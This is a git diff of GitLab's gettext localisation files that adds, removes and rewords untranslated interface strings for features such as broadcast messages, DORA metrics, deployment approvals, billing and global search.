msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47577,6 +48293,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47709,9 +48428,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47802,6 +48518,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47841,9 +48560,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47859,7 +48575,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47952,7 +48668,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47983,6 +48699,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48100,6 +48819,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48253,8 +48975,12 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "YouTube"
msgstr ""
@@ -48494,6 +49220,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48521,7 +49250,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48600,6 +49329,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48807,6 +49539,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49051,10 +49786,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49213,9 +49951,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49716,9 +50451,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50243,6 +50975,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50330,12 +51065,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50764,6 +51493,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/hi_IN/gitlab.po b/locale/hi_IN/gitlab.po
index 405a4f52574..3951e720f6e 100644
--- a/locale/hi_IN/gitlab.po
+++ b/locale/hi_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
